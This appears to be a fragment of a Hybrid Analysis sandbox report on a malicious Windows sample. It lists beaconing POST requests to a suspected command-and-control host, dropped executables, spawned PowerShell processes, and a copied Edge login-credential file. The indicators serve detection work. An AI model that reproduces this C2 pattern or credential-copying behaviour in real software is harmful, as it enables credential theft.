app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313772&key=63201d20da862795747ab1aca4b94ad5","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313772&key=63201d20da862795747ab1aca4b94ad5 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313776&key=eee6805f181a7bf250adf57dc5e62325","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313776&key=eee6805f181a7bf250adf57dc5e62325 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313798&key=d632ba8a4e5305d6e2940d35e385e319","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313798&key=d632ba8a4e5305d6e2940d35e385e319 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313804&key=74eaca7fa7cfec3e33a07bf7c704213c","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313804&key=74eaca7fa7cfec3e33a07bf7c704213c HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313812&key=752f614d70d07b641e9fa1047d309f19","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313812&key=752f614d70d07b641e9fa1047d309f19 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313816&key=e5e9faffef101086013dca9c5a9787c7","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313816&key=e5e9faffef101086013dca9c5a9787c7 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}],"processes":[{"pid":7196,"ppid":0,"name":"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe","command_line":"","sha256":"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e","normalized_path":"C:\\e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe","uid":"00000000-00007196","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":1296,"ppid":7196,"name":"aafg31.exe","command_line":"","sha256":"fdca3a9eff84349214459acb7530451c244a66e5e3347ac8366e22c2bee4a0fd","normalized_path":"%TEMP%\\aafg31.exe","parent_uid":"00000000-00007196","uid":"00000000-00001296"},{"pid":6048,"ppid":7196,"name":"toolspub2.exe","command_line":"","sha256":"60e8eef70c565ec2abbe7d16157a0edc4f8dbf8938363680ac6362620114c436","normalized_path":"%TEMP%\\toolspub2.exe","parent_uid":"00000000-00007196","uid":"00000000-00006048"},{"pid":2896,"ppid":6048,"name":"toolspub2.exe","command_line":"","sha256":"60e8eef70c565ec2abbe7d16157a0edc4f8dbf8938363680ac6362620114c436","normalized_path":"%TEMP%\\toolspub2.exe","parent_uid":"00000000-00006048","uid":"00000000-00002896"},{"pid":5024,"ppid":7196,"name":"31839b57a4f11171d6abc8bbc4451ee4.exe","command_line":"","sha256":"34b38e43149feff08e0ed5d6e29d04c416629057aad2588118a80e209566ddca","normalized_path":"%TEMP%\\31839b57a4f11171d6abc8bbc4451ee4.exe","parent_uid":"00000000-00007196","uid":"00000000-00005024"},{"pid":5060,"ppid":5024,"name":"powershell.exe","command_line":"powershell -nologo -noprofile","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005024","uid":"00000000-00005060"},{"pid":6044,"ppid":5024,"name":"31839b57a4f11171d6abc8bbc4451ee4.exe","command_line":"","sha256":"34b38e43149feff08e0ed5d6e29d04c416629057aad2588118a80e209566ddca","normalized_path":"%TEMP%\\31839b57a4f11171d6abc8bbc4451ee4.exe","parent_uid":"00000000-00005024","uid":"00000000-00006044"},{"pid":100,"ppid":6044,"name":"powershell.exe","command_line":"powershell -nologo -noprofile","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00006044","uid":"00000000-00000100"},{"pid":7012,"ppid":7196,"name":"latestplayer.exe","command_line":"","sha256":"f9f9b154f928549c7a4b484909f41352048ce8148c678f4ec32c807c1d173a39","normalized_path":"%TEMP%\\latestplayer.exe","parent_uid":"00000000-00007196","uid":"00000000-00007012"}],"all_imported_dlls":["wbemsvc.dll","psapi.dll","powrprof.dll","profapi.dll","aclui.dll","MpClient.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","imm32.dll","ws2_32.dll","mscorlib.ni.dll","clrjit.dll","urlmon.dll","rasadhlp.dll","crypt32.dll","ntdll.dll","advapi32.dll","msvcrt.dll","shlwapi.dll","clr.dll","wininet.dll","wow64win.dll","windows.storage.dll","bcrypt.dll","edputil.dll","OnDemandConnRouteHelper.dll","System.Transactions.dll","System.Configuration.ni.dll","Microsoft.AppV.AppVClientPowerShell.dll","rpcrt4.dll","gdi32full.dll","slc.dll","pwrshsip.dll","wow64.dll","mscoree.dll","uxtheme.dll","rsaenh.dll","cryptnet.dll","mi.dll","dwmapi.dll","oleaut32.dll","sechost.dll","msisip.dll","OpcServices.dll","propsys.dll","ncrypt.dll","wshext.dll","Microsoft.BitLocker.Structures.dll","user32.dll","cryptbase.dll","System.ni.dll","cryptsp.dll","Windows.StateRepositoryPS.dll","wldp.dll","AppxSip.dll","gdi32.dll","dnsapi.dll","msctf.dll","wbemprox.dll","VxSSL32.dll","sspicli.dll","winmmbase.dll","atl.dll","System.Xml.ni.dll","secur32.dll","normaliz.dll","Microsoft.Management.Infrastructure.ni.dll","combase.dll","mscoreei.dll","wbemdisp.dll","System.Data.dll","wtsapi32.dll","Microsoft.PowerShell.Commands.Utility.dll","clbcatq.dll","kernel32.dll","win32u.dll","kernel.appcore.dll","imagehlp.dll","msvcr100.dll","ole32.dll","SHCore.dll","netutils.dll","winnsi.dll","sppc.dll","Microsoft.Management.Infrastructure.Native.dll","FWPUCLNT.DLL","msasn1.dll","sxs.dll","samcli.dll","gpapi.dll","VxSSL64.dll","winmm.dll","Microsoft.PowerShell.Commands.Management.dll","wbemcomn.dll","System.DirectoryServices.dll","wow64cpu.dll","ucrtbase.dll","version.dll","shell32.dll","cfgmgr32.dll","comctl32.dll","ucrtbase_clr0400.dll","ntmarta.dll","winhttp.dll","winsta.dll","webio.dll","System.Core.ni.dll","cldapi.dll","iertutil.dll","mfc42u.dll","miutils.dll","dpapi.dll","wmiutils.dll","msIso.dll","mswsock.dll","ntasn1.dll","msimg32.dll","fastprox.dll","bcryptprimitives.dll","fltLib.dll","msvcp_win.dll","ncryptsslp.dll","samlib.dll","srvcli.dll","xmllite.dll","nsi.dll","KernelBase.dll","apphelp.dll","vcruntime140_clr0400.dll","coml2.dll","Microsoft.AppV.AppvClientComConsumer.dll","mskeyprotect.dll","Microsoft.PowerShell.ConsoleHost.dll","userenv.dll","IPHLPAPI.DLL","wintrust.dll","aepic.dll","netapi32.dll","System.Management.Automation.dll","Microsoft.PowerShell.Security.dll","System.Configuration.Install.dll","wmidcom.dll","ntdsapi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"31839b57a4f11171d6abc8bbc4451ee4.exe","sha256":"34b38e43149feff08e0ed5d6e29d04c416629057aad2588118a80e209566ddca","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"aafg31.exe","sha256":"fdca3a9eff84349214459acb7530451c244a66e5e3347ac8366e22c2bee4a0fd","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"latestplayer.exe","sha256":"f9f9b154f928549c7a4b484909f41352048ce8148c678f4ec32c807c1d173a39","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"toolspub2.exe","sha256":"60e8eef70c565ec2abbe7d16157a0edc4f8dbf8938363680ac6362620114c436","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe.log","sha256":"d587c154ea3d33b016889939d2df7e914dd30bc1b8ca267bc316f4b98926df0d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"powershell.exe.log","sha256":"8013f6cd1a83fa23f56b9e4a135621af9feeb6ddbfd794ed0b7e7cb6b7ddd665","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"Login Data111","sha256":"c75084ee623451406f12a4e30624ffd844cfdada8204356a14084a3e10073926","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"efd4472504a0a448ca5f01377b87ca17","sha256":"4714a2a29102e49b6c8aa2b599ba16a7526ec1574d50d0bc752695c8a7be5dfe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"StartupProfileData-Interactive","sha256":"9572f30a1c9c2c12d7f222f6b56239556e4334321d805b0643e913dd39607f26","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"imagd_1_.jpg","sha256":"6af35e7b71af7e1cfa873415050f11800352aec9c493c3c769781c1513a23b0c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]}],"files_written":[{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe.log","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\4EKOOWYY\\imagd[1].jpg","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-Interactive","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"path":"%WINDIR%\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Network\\efd4472504a0a448ca5f01377b87ca17","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data111","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUST\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUST\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUST\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUST\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\TRUST\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"Local\\SM0:7196:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"Local\\SM0:7196:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"SM0:7196:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"SM0:7196:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1296:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1296:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"Local\\SM0:1296:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"SM0:1296:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"SM0:5024:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"SM0:5060:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"Local\\SM0:5060:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"Local\\SM0:5060:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"SM0:5060:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"SM0:6044:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"SM0:100:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"Local\\SM0:100:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"name":"Local\\SM0:100:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]}]}},"report_ids":{"sandbox_job_ids":["64ea1c080e9e0d3a860f441c"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Malware Sample e9dc3c310187… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample e9dc3c310187…. Malware family: Malware. Threat score 100/100. 19/25 AV engines flagged this file. 13 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e"}],["$","meta","4",{"property":"og:title","content":"Malicious Malware Sample e9dc3c310187… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample e9dc3c310187…. Malware family: Malware. Threat score 100/100. 19/25 AV engines flagged this file. 13 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Malware Sample e9dc3c310187… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample e9dc3c310187…. Malware family: Malware. Threat score 100/100. 19/25 AV engines flagged this file. 13 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L56","11",{}]]